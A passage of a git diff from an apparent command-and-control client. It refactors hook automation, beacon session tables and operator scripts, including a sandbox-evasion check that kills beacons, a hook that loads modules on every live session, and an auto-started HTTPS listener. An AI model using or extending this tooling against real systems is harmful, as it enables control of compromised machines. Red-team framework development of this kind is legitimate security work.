self._tableUpdating = True + enabledItem = self.automationTable.item(row, COL_ENABLED) + if enabledItem is not None: + enabledItem.setCheckState( + Qt.CheckState.Checked if state["enabled"] else Qt.CheckState.Unchecked + ) + self.automationTable.item(row, COL_LAST_RUN).setText(state["last_run"]) + self.automationTable.item(row, COL_ACTIVATIONS).setText(str(state["activations"])) + self.automationTable.item(row, COL_ERRORS).setText(str(state["errors"])) + self.updateAutomationRowTooltip(row, scriptName) + self._tableUpdating = False + + def updateAutomationRowTooltip(self, row, scriptName): + state = self.scriptStates[scriptName] + hookNotes = [] + if state.get("description"): + hookNotes.append(state["description"]) + for hookName in state["hooks"]: + hookNotes.append(f"{hookName}: {self.hookDescription(state, hookName)}") + tooltip = "\n".join(hookNotes) or state["last_error"] or "No hook detected." + if state["last_error"]: + tooltip += "\nLast error: " + state["last_error"] + for column in range(self.automationTable.columnCount()): + item = self.automationTable.item(row, column) + if item is not None: + item.setToolTip(tooltip) + + def onAutomationItemChanged(self, item): + if self._tableUpdating or item.column() != COL_ENABLED: + return + + scriptName = item.data(SCRIPT_NAME_ROLE) + state = self.scriptStates.get(scriptName) + if not state or state["script"] is None: + return + + enabled = item.checkState() == Qt.CheckState.Checked + state["enabled"] = enabled + self.updateAutomationRow(scriptName) + self.updateManualHookSelector() + + def updateManualHookSelector(self): + scriptName = self.selectedScriptName() + state = self.scriptStates.get(scriptName) + self.manualHookSelector.clear() + + if not state or state["script"] is None or not state["hooks"]: + self.runHookButton.setEnabled(False) + return + + for hookName in state["hooks"]: + self.manualHookSelector.addItem(hookName, hookName) + index = self.manualHookSelector.count() - 1 + self.manualHookSelector.setItemData( + index, + self.hookDescription(state, hookName), + Qt.ItemDataRole.ToolTipRole, + ) + self.runHookButton.setEnabled(True) + + def selectedScriptName(self): + row = self.automationTable.currentRow() + if row < 0: + return "" + item = self.automationTable.item(row, COL_SCRIPT) + if item is None: + return "" + return item.data(SCRIPT_NAME_ROLE) or "" + + def scriptName(self, script): + return getattr(script, "__name__", script.__class__.__name__) + + def displayScriptName(self, scriptName): + return scriptName.split(".")[-1] + + def scriptHooks(self, script): + hooks = [] + for hookName in HOOK_ORDER: + if callable(getattr(script, hookName, None)): + hooks.append(hookName) + return hooks + + def scriptDescription(self, script): + description = getattr(script, "DESCRIPTION", "") or getattr(script, "__doc__", "") + return str(description or "").strip() + + def scriptHookDescriptions(self, script): + descriptions = getattr(script, "HOOK_DESCRIPTIONS", {}) or {} + if not isinstance(descriptions, dict): + return {} + return { + str(hookName): str(description).strip() + for hookName, description in descriptions.items() + if str(description).strip() + } + + def hookDescription(self, state, hookName): + return ( + state.get("hook_descriptions", {}).get(hookName) + or HOOK_TRIGGER_NOTES.get(hookName, "Custom hook.") + ) + + def parseFailedScript(self, failure): + scriptName, separator, error = str(failure).partition(":") + return scriptName.strip() or "unknown", error.strip() if separator else str(failure) + + def printLoadedAutomationSummary(self): + loaded = [] + for scriptName, state in sorted(self.scriptStates.items()): + if state["script"] is None: continue + loaded.append(f"{self.displayScriptName(scriptName)}: {', '.join(state['hooks']) or 'no hooks'}") + self.printInTerminal("Loaded hooks:", "\n".join(loaded) or "No hook file loaded.") + + failed = [] + for scriptName, state in sorted(self.scriptStates.items()): + if state["script"] is None: + failed.append(f"{scriptName}: {state['last_error']}") + if failed: + self.printInTerminal("Hook load errors:", "\n".join(failed)) + + def dispatchHook(self, hookName, context): + self.lastHookContexts[hookName] = context + + for state in self.scriptStates.values(): + script = state["script"] + if script is not None: + self.runScriptHook(script, hookName, hookName, context) + + def runScriptHook(self, script, hookName, displayName, context): + scriptName = getattr(script, "__name__", script.__class__.__name__) + hook = getattr(script, hookName, None) + if hook is None: + return False + + state = self.scriptStates.get(scriptName) + if state is None: + state = { + "script": script, + "enabled": True, + "hooks": self.scriptHooks(script), + "last_run": "Never", + "activations": 0, + "errors": 0, + "last_error": "", + "load_error": "", + "description": self.scriptDescription(script), + "hook_descriptions": self.scriptHookDescriptions(script), + } + self.scriptStates[scriptName] = state + self.refreshAutomationTable() + + if not state["enabled"]: + self.updateAutomationRow(scriptName) + return False + + state["activations"] += 1 + state["last_run"] = datetime.now().strftime("%H:%M:%S") + self.updateAutomationRow(scriptName) + + try: + output = self.invokeScriptHook(hook, context) + except Exception as exc: + state["errors"] += 1 + state["last_error"] = f"{hookName}: {exc}" + self.updateAutomationRow(scriptName) + logger.warning( + "Script hook %s.%s failed: %s", + scriptName, + hookName, + exc, + exc_info=logger.isEnabledFor(logging.DEBUG), + ) + self.printInTerminal("Script error:", f"{scriptName}.{hookName}: {exc}") + return False + + state["last_error"] = "" + self.updateAutomationRow(scriptName) + if output: + self.printInTerminal(displayName, output) + return True + + def invokeScriptHook(self, hook, context): + return hook(self.grpcClient, context) + + def runSelectedHook(self): + scriptName = self.selectedScriptName() + state = self.scriptStates.get(scriptName) + hookName = self.manualHookSelector.currentData() + if not state or state["script"] is None or not hookName: + self.printInTerminal("Manual run blocked:", "Select a loaded script and hook first.") + return + + if not state["enabled"]: + self.printInTerminal("Manual run blocked:", f"{self.displayScriptName(scriptName)} is disabled.") + return + + if hookName == "ManualStart": + context = self.buildHookContext(hookName, "manual", event={"action": "manual"}) + else: + context = self.lastHookContexts.get(hookName) + + if context is None: + self.printInTerminal( + "Manual run blocked:", + f"{hookName} needs a captured trigger context. Trigger it once from the UI first.", + ) + return + self.printInTerminal("Manual run:", f"{self.displayScriptName(scriptName)}.{hookName}") + self.runScriptHook(state["script"], hookName, hookName, context) def event(self, event): @@ -183,17 +659,36 @@ def event(self, event): def printInTerminal(self, cmd, result): - now = datetime.now() - formater = '

'+'['+now.strftime("%Y:%m:%d %H:%M:%S").rstrip()+']'+' [+] '+'{}'+'

' - self.sem.acquire() - if cmd: - self.editorOutput.appendHtml(formater.format(cmd)) - self.editorOutput.insertPlainText("\n") - if result: - self.editorOutput.insertPlainText(result) - self.editorOutput.insertPlainText("\n") - self.sem.release() + try: + marker, tone = self._console_role_for_header(cmd) + has_entry = bool(cmd or result) + append_console_block( + self.editorOutput, + cmd, + result, + marker=marker, + tone=tone, + ) + if has_entry: + append_console_spacing(self.editorOutput) + finally: + self.sem.release() + + def _console_role_for_header(self, header): + normalized = str(header or "").strip().rstrip(":").lower() + if normalized in { + "loaded hooks", + "hook command", + "manual context error", + "manual run blocked", + }: + return "[system]", "system" + if normalized in {"hook load errors", "script error"}: + return "[error]", "error" + if normalized == "manual run": + return "[user]", "user" + return "[script]", "script" def runCommand(self): @@ -205,7 +700,10 @@ def runCommand(self): self.printInTerminal("", "") else: - toto=1 + self.printInTerminal( + "Hook command:", + "Use the table to enable hook files and run hooks manually.", + ) self.setCursorEditorAtEnd() @@ -213,88 +711,12 @@ def runCommand(self): # setCursorEditorAtEnd def setCursorEditorAtEnd(self): - cursor = self.editorOutput.textCursor() - cursor.movePosition(QTextCursor.MoveOperation.End) - self.editorOutput.setTextCursor(cursor) + move_editor_to_end(self.editorOutput) -class CommandEditor(QLineEdit): - tabPressed = pyqtSignal() - cmdHistory = [] - idx = 0 - +class CommandEditor(CompletionInput): def __init__(self, parent=None): - super().__init__(parent) - - QShortcut(Qt.Key.Key_Up, self, self.historyUp) - QShortcut(Qt.Key.Key_Down, self, self.historyDown) - - # self.codeCompleter = CodeCompleter(completerData, self) - # # needed to clear the completer after activation - # self.codeCompleter.activated.connect(self.onActivated) - # self.setCompleter(self.codeCompleter) - # self.tabPressed.connect(self.nextCompletion) - - def nextCompletion(self): - index = self.codeCompleter.currentIndex() - self.codeCompleter.popup().setCurrentIndex(index) - start = self.codeCompleter.currentRow() - if not self.codeCompleter.setCurrentRow(start + 1): - self.codeCompleter.setCurrentRow(0) - - def event(self, event): - if event.type() == QEvent.Type.KeyPress and event.key() == Qt.Key.Key_Tab: - self.tabPressed.emit() - return True - return super().event(event) - - def historyUp(self): - if(self.idx=0): - cmd = self.cmdHistory[self.idx%len(self.cmdHistory)] - self.idx=max(self.idx-1,0) - self.setText(cmd.strip()) - - def historyDown(self): - if(self.idx=0): - self.idx=min(self.idx+1,len(self.cmdHistory)-1) - cmd = self.cmdHistory[self.idx%len(self.cmdHistory)] - self.setText(cmd.strip()) - - def setCmdHistory(self): - cmdHistoryFile = open('.termHistory') - self.cmdHistory = cmdHistoryFile.readlines() - self.idx=len(self.cmdHistory)-1 - cmdHistoryFile.close() + super().__init__(parent, completion_data=SCRIPT_COMPLETIONS) def clearLine(self): self.clear() - - def onActivated(self): - QTimer.singleShot(0, self.clear) - - -class CodeCompleter(QCompleter): - ConcatenationRole = Qt.ItemDataRole.UserRole + 1 - - def __init__(self, data, parent=None): - super().__init__(parent) - self.createModel(data) - - def splitPath(self, path): - return path.split(' ') - - def pathFromIndex(self, ix): - return ix.data(CodeCompleter.ConcatenationRole) - - def createModel(self, data): - def addItems(parent, elements, t=""): - for text, children in elements: - item = QStandardItem(text) - data = t + " " + text if t else text - item.setData(data, CodeCompleter.ConcatenationRole) - parent.appendRow(item) - if children: - addItems(item, children, data) - model = QStandardItemModel(self) - addItems(model, data) - self.setModel(model) diff --git a/C2Client/C2Client/Scripts/checkSandbox.py b/C2Client/C2Client/Scripts/checkSandbox.py index 348d3e6..551c7a7 100644 --- a/C2Client/C2Client/Scripts/checkSandbox.py +++ b/C2Client/C2Client/Scripts/checkSandbox.py @@ -4,8 +4,18 @@ from ..grpc_status import is_response_ok, response_message -def OnSessionStart(grpcClient, beaconHash, listenerHash, hostname, username, arch, privilege, os, lastProofOfLife, killed): +DESCRIPTION = "Stops new beacon sessions that look like the known sandbox hostname." +HOOK_DESCRIPTIONS = { + "OnSessionStart": "Checks the session object from the trigger snapshot and queues end when the hostname is sandboxhostname.", +} + + +def OnSessionStart(grpcClient, context): output = "" + session = context.get("object") or context.get("event", {}) + beaconHash = session.get("beacon_hash", "") + listenerHash = session.get("listener_hash", "") + hostname = session.get("hostname", "") if hostname == "sandboxhostname": output += "checkSandbox:\nSandbox detected ending beacon\n"; diff --git a/C2Client/C2Client/Scripts/listDirectory.py b/C2Client/C2Client/Scripts/listDirectory.py deleted file mode 100644 index 5d3bbfe..0000000 --- a/C2Client/C2Client/Scripts/listDirectory.py +++ /dev/null @@ -1,28 +0,0 @@ -import uuid - -from ..grpcClient import TeamServerApi_pb2 -from ..grpc_status import is_response_ok, response_message - - -def OnSessionStart(grpcClient, beaconHash, listenerHash, hostname, username, arch, privilege, os, lastProofOfLife, killed): - output = "listDirectory:\n"; - output += "load ListDirectory\n"; - - commandLine = "loadModule ListDirectory" - command = TeamServerApi_pb2.SessionCommandRequest( - session=TeamServerApi_pb2.SessionSelector( - beacon_hash=beaconHash, - listener_hash=listenerHash, - ), - command=commandLine, - command_id=uuid.uuid4().hex, - ) - result = grpcClient.sendSessionCommand(command) - if not is_response_ok(result): - output += response_message(result, "Command was rejected by TeamServer.") + "\n" - - # commandLine = "ls" - # command = TeamServerApi_pb2.SessionCommandRequest(session=TeamServerApi_pb2.SessionSelector(beacon_hash=beaconHash, listener_hash=listenerHash), command=commandLine, command_id=uuid.uuid4().hex) - # result = grpcClient.sendSessionCommand(command) - - return output diff --git a/C2Client/C2Client/Scripts/loadCommonModules.py b/C2Client/C2Client/Scripts/loadCommonModules.py new file mode 100644 index 0000000..c0c1e98 --- /dev/null +++ b/C2Client/C2Client/Scripts/loadCommonModules.py @@ -0,0 +1,42 @@ +import uuid + +from ..grpcClient import TeamServerApi_pb2 +from ..grpc_status import is_response_ok, response_message + +MODULES = ["ls", "cd", "pwd", "tree"] + +DESCRIPTION = "Queues common operator modules on every live session from the current client snapshot." +HOOK_DESCRIPTIONS = { + "ManualStart": "Manual hook that iterates every non-killed session and queues loadModule for common modules.", +} + + +def ManualStart(grpcClient, context): + output = [] + + for session in context["sessions"]: + if session["killed"]: + continue + + selector = TeamServerApi_pb2.SessionSelector( + beacon_hash=session["beacon_hash"], + listener_hash=session["listener_hash"], + ) + + for module in MODULES: + command_line = f"loadModule {module}" + command = TeamServerApi_pb2.SessionCommandRequest( + session=selector, + command=command_line, + command_id=uuid.uuid4().hex, + ) + ack = grpcClient.sendSessionCommand(command) + if is_response_ok(ack): + output.append(f'{session["hostname"]}: queued {command_line}') + else: + output.append( + f'{session["hostname"]}: failed {command_line}: ' + + response_message(ack, "Command rejected.") + ) + + return "\n".join(output) diff --git a/C2Client/C2Client/Scripts/startListenerHttp8443.py b/C2Client/C2Client/Scripts/startListenerHttp8443.py index 9fe30a7..b1d0686 100644 --- a/C2Client/C2Client/Scripts/startListenerHttp8443.py +++ b/C2Client/C2Client/Scripts/startListenerHttp8443.py @@ -2,7 +2,13 @@ from ..grpc_status import operation_ack_text -def OnStart(grpcClient): +DESCRIPTION = "Ensures the default HTTPS listener exists when the client connects." +HOOK_DESCRIPTIONS = { + "OnStart": "Runs when the client connects or reconnects and asks the TeamServer to start HTTPS on 0.0.0.0:8443.", +} + + +def OnStart(grpcClient, context): output = "startListenerHttp8443:\nSend start listener https 8443\n"; listener = TeamServerApi_pb2.Listener( diff --git a/C2Client/C2Client/Scripts/template.py.example b/C2Client/C2Client/Scripts/template.py.example index c310623..80ac87a 100644 --- a/C2Client/C2Client/Scripts/template.py.example +++ b/C2Client/C2Client/Scripts/template.py.example @@ -1,64 +1,74 @@ from ..grpcClient import GrpcClient, TeamServerApi_pb2 -def OnStart(grpcClient: GrpcClient) -> str: +DESCRIPTION = "Example hook file showing the uniform HookName(grpcClient, context) API." +HOOK_DESCRIPTIONS = { + "ManualStart": "Manual hook with access to the full sessions/listeners snapshot.", + "OnStart": "Runs when the client connects or reconnects to the TeamServer.", + "OnStop": "Runs during client shutdown.", + "OnListenerStart": "Runs when a listener appears in the listener snapshot.", + "OnListenerStop": "Runs when a listener stop event is observed.", + "OnSessionStart": "Runs when a new session appears in the session snapshot.", + "OnSessionStop": "Runs when a session stop event is observed.", + "OnConsoleSend": "Runs after an operator command is queued from a beacon console.", + "OnConsoleReceive": "Runs when beacon command output is received.", +} + + +def ManualStart(grpcClient: GrpcClient, context: dict) -> str: + sessions = context.get("sessions", []) + listeners = context.get("listeners", []) + output = "Scrip test.py: ManualStart\n" + output += f"Known sessions: {len(sessions)}\n" + output += f"Known listeners: {len(listeners)}\n" + return output + + +def OnStart(grpcClient: GrpcClient, context: dict) -> str: output = "Scrip test.py: OnStart\n" return output -def OnStop(grpcClient: GrpcClient) -> str: +def OnStop(grpcClient: GrpcClient, context: dict) -> str: output = "Scrip test.py: OnStop\n" return output -def OnListenerStart(grpcClient: GrpcClient) -> str: +def OnListenerStart(grpcClient: GrpcClient, context: dict) -> str: + listener = context.get("object") output = "Scrip test.py: OnListenerStart\n" + if listener: + output += f"Listener: {listener.get('listener_hash')}\n" return output -def OnListenerStop(grpcClient: GrpcClient) -> str: +def OnListenerStop(grpcClient: GrpcClient, context: dict) -> str: output = "Scrip test.py: OnListenerStop\n" return output -def OnSessionStart( - grpcClient: GrpcClient, - beaconHash, - listenerHash, - hostname, - username, - arch, - privilege, - os, - lastProofOfLife, - killed, -) -> str: +def OnSessionStart(grpcClient: GrpcClient, context: dict) -> str: + session = context.get("object") output = "Scrip test.py: OnSessionStart\n" + if session: + output += f"Session: {session.get('beacon_hash')}\n" return output -def OnSessionStop( - grpcClient: GrpcClient, - beaconHash, - listenerHash, - hostname, - username, - arch, - privilege, - os, - lastProofOfLife, - killed, -) -> str: +def OnSessionStop(grpcClient: GrpcClient, context: dict) -> str: output = "Scrip test.py: OnSessionStop\n" return output -def OnConsoleSend(grpcClient: GrpcClient) -> str: +def OnConsoleSend(grpcClient: GrpcClient, context: dict) -> str: + event = context.get("event", {}) output = "Scrip test.py: OnConsoleSend\n" + output += f"Command: {event.get('command', '')}\n" return output -def OnConsoleReceive(grpcClient: GrpcClient) -> str: +def OnConsoleReceive(grpcClient: GrpcClient, context: dict) -> str: + event = context.get("event", {}) output = "Scrip test.py: OnConsoleReceive\n" + output += f"Command ID: {event.get('command_id', '')}\n" return output - diff --git a/C2Client/C2Client/SessionPanel.py b/C2Client/C2Client/SessionPanel.py index f2aafd8..56871fa 100644 --- a/C2Client/C2Client/SessionPanel.py +++ b/C2Client/C2Client/SessionPanel.py @@ -1,22 +1,184 @@ import time import logging +from datetime import datetime, timedelta -from PyQt6.QtCore import Qt, QThread, QTimer, pyqtSignal, QObject +from PyQt6.QtCore import Qt, QThread, pyqtSignal, QObject +from PyQt6.QtGui import QColor from PyQt6.QtWidgets import ( + QApplication, QGridLayout, + QHBoxLayout, QLabel, QMenu, - QTableView, + QPushButton, QTableWidget, QTableWidgetItem, QWidget, QHeaderView, QAbstractItemView, + QSizePolicy, ) from .grpcClient import TeamServerApi_pb2 +from .env import env_int from .grpc_status import is_response_ok, operation_ack_text - +from .panel_style import apply_dark_panel_style +from .ui_status import apply_status, format_action_status, status_kind_for_ok + +logger = logging.getLogger(__name__) + + +SESSION_STATE_ALIVE = "Alive" +SESSION_STATE_STALE = "Stale" +SESSION_STATE_KILLED = "Killed" +SESSION_STATE_UNKNOWN = "Unknown" +SESSION_STATE_COLORS = { + SESSION_STATE_ALIVE: "#0a7f2e", + SESSION_STATE_STALE: "#a05a00", + SESSION_STATE_KILLED: "#b00020", + SESSION_STATE_UNKNOWN: "#6b7280", +} +HIGH_PRIVILEGE_COLOR = "#a05a00" +DEFAULT_SESSION_STALE_AFTER_MS = 30000 +DISPLAY_NOW_UNDER_MS = 2000 +HIGH_PRIVILEGE_VALUES = {"high", "root", "administrator", "admin", "system"} + + +def _to_text(value): + return str(value or "").strip() + + +def _to_text_list(value): + if value is None: + return [] + if isinstance(value, str): + return [part.strip() for part in value.split(",") if part.strip()] + try: + return [_to_text(item) for item in value if _to_text(item)] + except TypeError: + text = _to_text(value) + return [text] if text else [] + + +def _is_truthy(value): + if isinstance(value, bool): + return value + return _to_text(value).lower() in {"1", "true", "yes", "y", "killed"} + + +def parse_last_seen(value): + text = _to_text(value) + if not text or text == "-1": + return None + + try: + ageSeconds = float(text) + except ValueError: + ageSeconds = None + if ageSeconds is not None: + if ageSeconds < 0: + return None + return datetime.now() - timedelta(seconds=ageSeconds) + + normalized = text.replace("Z", "+00:00") + candidates = [normalized] + if "." in normalized: + candidates.append(normalized.split(".", 1)[0]) + + for candidate in candidates: + try: + parsed = datetime.fromisoformat(candidate) + except ValueError: + continue + if parsed.tzinfo is not None: + parsed = parsed.astimezone().replace(tzinfo=None) + return parsed + return None + + +def _numeric_age_ms(value): + text = _to_text(value) + try: + ageSeconds = float(text) + except ValueError: + return None + if ageSeconds < 0: + return None + return max(0, int(ageSeconds * 1000)) + + +def last_seen_age_ms(value, now=None): + numericAgeMs = _numeric_age_ms(value) + if numericAgeMs is not None: + return numericAgeMs, True + + lastSeen = parse_last_seen(value) + if lastSeen is None: + return None, False + + now = now or datetime.now() + return max(0, int((now - lastSeen).total_seconds() * 1000)), False + + +def format_relative_age(ageSeconds): + if ageSeconds < 1: + return "now" + if ageSeconds < 60: + return f"{ageSeconds}s ago" + if ageSeconds < 3600: + return f"{ageSeconds // 60}m ago" + if ageSeconds < 86400: + return f"{ageSeconds // 3600}h ago" + return f"{ageSeconds // 86400}d ago" + + +def format_relative_age_ms(ageMs, *, precise_subsecond=False): + if ageMs < DISPLAY_NOW_UNDER_MS: + return "now" + return format_relative_age(ageMs // 1000) + + +def humanize_last_seen(value, now=None): + text = _to_text(value) + ageMs, preciseSubsecond = last_seen_age_ms(text, now=now) + if ageMs is None: + return "unknown", "Last proof of life unavailable.", None + + label = format_relative_age_ms(ageMs, precise_subsecond=preciseSubsecond) + return label, f"Last proof of life: {text}", parse_last_seen(text) + + +def resolve_session_state(killed, lastProofOfLife, staleAfterMs=DEFAULT_SESSION_STALE_AFTER_MS, now=None): + if _is_truthy(killed): + return SESSION_STATE_KILLED, "Killed flag set by TeamServer." + + ageMs, preciseSubsecond = last_seen_age_ms(lastProofOfLife, now=now) + if ageMs is None: + return SESSION_STATE_UNKNOWN, "No valid last proof of life." + + label = format_relative_age_ms(ageMs, precise_subsecond=preciseSubsecond) + aliveCutoffMs = max(staleAfterMs, DISPLAY_NOW_UNDER_MS - 1) + if ageMs <= aliveCutoffMs: + return SESSION_STATE_ALIVE, f"Last seen {label}. Stale after {staleAfterMs} ms." + return SESSION_STATE_STALE, f"Last seen {label}. Stale after {staleAfterMs} ms." + + +def normalize_os_label(osDescription): + text = _to_text(osDescription) + lowered = text.lower() + if not text: + return "Unknown" + if "windows" in lowered: + return "Windows" + if "linux" in lowered: + return "Linux" + return text.split()[0] + + +def color_table_item(item, color): + item.setForeground(QColor(color)) + return item + # # Session @@ -46,37 +208,75 @@ class Sessions(QWidget): idSession = 0 listSessionObject = [] + COLUMN_WIDTHS = [76, 76, 140, 116, 62, 84, 92, 64, 156, 92, 78] + STRETCH_COLUMN = 8 def __init__(self, parent, grpcClient): super(QWidget, self).__init__(parent) self.grpcClient = grpcClient + self.idSession = 0 + self.listSessionObject = [] + apply_dark_panel_style(self) + self.sessionStaleAfterMs = env_int( + "C2_SESSION_STALE_AFTER_MS", + DEFAULT_SESSION_STALE_AFTER_MS, + minimum=1, + ) widget = QWidget(self) self.layout = QGridLayout(widget) + self.layout.setContentsMargins(4, 4, 4, 4) + self.layout.setHorizontalSpacing(6) + self.layout.setVerticalSpacing(4) + self.layout.setColumnStretch(0, 1) + self.layout.setRowStretch(2, 1) self.label = QLabel('Sessions') - self.layout.addWidget(self.label) + self.headerLayout = QHBoxLayout() + self.headerLayout.setSpacing(4) + self.headerLayout.addWidget(self.label) + self.headerLayout.addStretch(1) + + self.interactButton = self.createToolbarButton("Open", "Open an interactive console for the selected session.") + self.interactButton.setToolTip("Open an interactive console for the selected session.") + self.interactButton.clicked.connect(self.interactWithSelectedSession) + self.headerLayout.addWidget(self.interactButton) + + self.stopButton = self.createToolbarButton("Stop", "Queue a stop command for the selected session.") + self.stopButton.clicked.connect(self.stopSelectedSession) + self.headerLayout.addWidget(self.stopButton) + + self.copySessionIdButton = self.createToolbarButton("Copy", "Copy the selected beacon hash.") + self.copySessionIdButton.clicked.connect(self.copySelectedSessionId) + self.headerLayout.addWidget(self.copySessionIdButton) + + self.refreshButton = self.createToolbarButton("Refresh", "Refresh sessions now.", width=70) + self.refreshButton.clicked.connect(self.listSessions) + self.headerLayout.addWidget(self.refreshButton) + self.layout.addLayout(self.headerLayout, 0, 0) + self.statusLabel = QLabel("") - self.layout.addWidget(self.statusLabel) + self.statusLabel.setMinimumHeight(18) + self.layout.addWidget(self.statusLabel, 1, 0) # List of sessions self.listSession = QTableWidget() self.listSession.setShowGrid(False) + self.listSession.setSizePolicy(QSizePolicy.Policy.Expanding, QSizePolicy.Policy.Expanding) self.listSession.setSelectionBehavior(QAbstractItemView.SelectionBehavior.SelectRows) + self.listSession.setHorizontalScrollMode(QAbstractItemView.ScrollMode.ScrollPerPixel) self.listSession.setRowCount(0) self.listSession.setColumnCount(11) self.listSession.setContextMenuPolicy(Qt.ContextMenuPolicy.CustomContextMenu) self.listSession.customContextMenuRequested.connect(self.showContextMenu) + self.listSession.itemSelectionChanged.connect(self.updateActionButtons) self.listSession.verticalHeader().setVisible(False) - header = self.listSession.horizontalHeader() - for i in range(header.count()): - header.setSectionResizeMode(i, QHeaderView.ResizeMode.Stretch) - QTimer.singleShot(100, self.switch_to_interactive) - self.layout.addWidget(self.listSession) + self.configureTableColumns() + self.layout.addWidget(self.listSession, 2, 0) # Thread to fetch sessions every second # https://realpython.com/python-pyqt-qthread/ @@ -88,28 +288,112 @@ def __init__(self, parent, grpcClient): self.thread.start() self.setLayout(self.layout) - - def setStatusMessage(self, ack, successFallback): + self.updateActionButtons() + + def createToolbarButton(self, text, tooltip, width=58): + button = QPushButton(text) + button.setToolTip(tooltip) + button.setFixedHeight(26) + button.setMinimumWidth(width) + button.setMaximumWidth(width) + return button + + def configureTableColumns(self): + header = self.listSession.horizontalHeader() + header.setStretchLastSection(False) + header.setMinimumSectionSize(44) + for index, width in enumerate(self.COLUMN_WIDTHS): + if index == self.STRETCH_COLUMN: + header.setSectionResizeMode(index, QHeaderView.ResizeMode.Stretch) + else: + header.setSectionResizeMode(index, QHeaderView.ResizeMode.Interactive) + self.listSession.setColumnWidth(index, width) + + def setStatusMessage(self, ack, successFallback, action="Operation"): message = operation_ack_text(ack, successFallback) - self.statusLabel.setText(message) - if is_response_ok(ack): - self.statusLabel.setStyleSheet("color: #0a7f2e;") - else: - self.statusLabel.setStyleSheet("color: #b00020;") + self.setInlineStatus(format_action_status(action, message), is_response_ok(ack)) + + def setInlineStatus(self, message, ok=True): + apply_status(self.statusLabel, message, status_kind_for_ok(ok)) + + def updateActionButtons(self): + hasSelection = self.selectedSession() is not None + self.interactButton.setEnabled(hasSelection) + self.stopButton.setEnabled(hasSelection) + self.copySessionIdButton.setEnabled(hasSelection) + + def selectedSession(self): + selectedRows = self.listSession.selectionModel().selectedRows() if self.listSession.selectionModel() else [] + if not selectedRows: + return None + + row = selectedRows[0].row() + if row < 0 or row >= len(self.listSessionObject): + return None + return self.listSessionObject[row] + + def sessionByShortBeaconHash(self, beaconHashPrefix): + for sessionStore in self.listSessionObject: + if sessionStore.beaconHash[0:8] == beaconHashPrefix: + return sessionStore + return None + + def scriptSnapshot(self): + snapshots = [] + for sessionStore in self.listSessionObject: + state, stateTooltip = resolve_session_state( + sessionStore.killed, + sessionStore.lastProofOfLife, + self.sessionStaleAfterMs, + ) + snapshots.append( + { + "id": sessionStore.id, + "beacon_hash": _to_text(sessionStore.beaconHash), + "listener_hash": _to_text(sessionStore.listenerHash), + "hostname": _to_text(sessionStore.hostname), + "username": _to_text(sessionStore.username), + "arch": _to_text(sessionStore.arch), + "privilege": _to_text(sessionStore.privilege), + "os": _to_text(sessionStore.os), + "last_proof_of_life": _to_text(sessionStore.lastProofOfLife), + "killed": _is_truthy(sessionStore.killed), + "internal_ips": _to_text_list(sessionStore.internalIps), + "internal_ips_text": _to_text(sessionStore.internalIps), + "process_id": _to_text(sessionStore.processId), + "additional_information": _to_text(sessionStore.additionalInformation), + "state": state, + "state_detail": stateTooltip, + } + ) + return snapshots + + def interactWithSelectedSession(self): + sessionStore = self.selectedSession() + if sessionStore is None: + self.setInlineStatus("Select a session first.", False) + return + self.interactWithSession.emit(sessionStore.beaconHash, sessionStore.listenerHash, sessionStore.hostname, sessionStore.username) + + def stopSelectedSession(self): + sessionStore = self.selectedSession() + if sessionStore is None: + self.setInlineStatus("Select a session first.", False) + return + self.stopSession(sessionStore.beaconHash, sessionStore.listenerHash) + + def copySelectedSessionId(self): + sessionStore = self.selectedSession() + if sessionStore is None: + self.setInlineStatus("Select a session first.", False) + return + QApplication.clipboard().setText(sessionStore.beaconHash) + self.setInlineStatus("Beacon ID copied to clipboard.") def resizeEvent(self, event): super().resizeEvent(event) self.listSession.verticalHeader().setVisible(False) - header = self.listSession.horizontalHeader() - for i in range(header.count()): - header.setSectionResizeMode(i, QHeaderView.ResizeMode.Stretch) - QTimer.singleShot(100, self.switch_to_interactive) - - def switch_to_interactive(self): - header = self.listSession.horizontalHeader() - for i in range(header.count()): - header.setSectionResizeMode(i, QHeaderView.ResizeMode.Interactive) def __del__(self): self.getSessionsWorker.quit() @@ -136,22 +420,25 @@ def showContextMenu(self, position): # catch Interact and Stop menu click def actionClicked(self, action): hash = self.item - for ix, sessionStore in enumerate(self.listSessionObject): - if sessionStore.beaconHash[0:8] == hash: - if action.text() == "Interact": - self.interactWithSession.emit(sessionStore.beaconHash, sessionStore.listenerHash, sessionStore.hostname, sessionStore.username) - elif action.text() == "Stop": - self.stopSession(sessionStore.beaconHash, sessionStore.listenerHash) - elif action.text() == "Delete": - self.listSessionObject.pop(ix) - self.printSessions() + for ix, sessionStore in enumerate(list(self.listSessionObject)): + if sessionStore.beaconHash[0:8] != hash: + continue + if action.text() == "Interact": + self.interactWithSession.emit(sessionStore.beaconHash, sessionStore.listenerHash, sessionStore.hostname, sessionStore.username) + elif action.text() == "Stop": + self.stopSession(sessionStore.beaconHash, sessionStore.listenerHash) + elif action.text() == "Delete": + self.listSessionObject.pop(ix) + break + self.printSessions() + self.updateActionButtons() def stopSession(self, beaconHash, listenerHash): session = TeamServerApi_pb2.SessionSelector( beacon_hash=beaconHash, listener_hash=listenerHash) ack = self.grpcClient.stopSession(session) - self.setStatusMessage(ack, "Session stop command accepted.") + self.setStatusMessage(ack, "Session stop command accepted.", action="Stop session") self.listSessions() @@ -177,7 +464,6 @@ def listSessions(self): for sessionStore in self.listSessionObject: #maj if session.listener_hash == sessionStore.listenerHash and session.beacon_hash == sessionStore.beaconHash: - self.sessionScriptSignal.emit("update", session.beacon_hash, session.listener_hash, session.hostname, session.username, session.arch, session.privilege, session.os, session.last_proof_of_life, session.killed) inStore=True sessionStore.lastProofOfLife=session.last_proof_of_life sessionStore.listenerHash=session.listener_hash @@ -201,12 +487,9 @@ def listSessions(self): sessionStore.processId=session.process_id if session.additional_information: sessionStore.additionalInformation=session.additional_information + self.sessionScriptSignal.emit("update", session.beacon_hash, session.listener_hash, session.hostname, session.username, session.arch, session.privilege, session.os, session.last_proof_of_life, session.killed) # add if not inStore: - self.sessionScriptSignal.emit("start", session.beacon_hash, session.listener_hash, session.hostname, session.username, session.arch, session.privilege, session.os, session.last_proof_of_life, session.killed) - - # print(session) - self.listSessionObject.append( Session( self.idSession, @@ -217,6 +500,7 @@ def listSessions(self): ) ) self.idSession = self.idSession+1 + self.sessionScriptSignal.emit("start", session.beacon_hash, session.listener_hash, session.hostname, session.username, session.arch, session.privilege, session.os, session.last_proof_of_life, session.killed) self.printSessions() @@ -224,10 +508,21 @@ def listSessions(self): # don't clear the list each time but just when it's necessary def printSessions(self): self.listSession.setRowCount(len(self.listSessionObject)) - 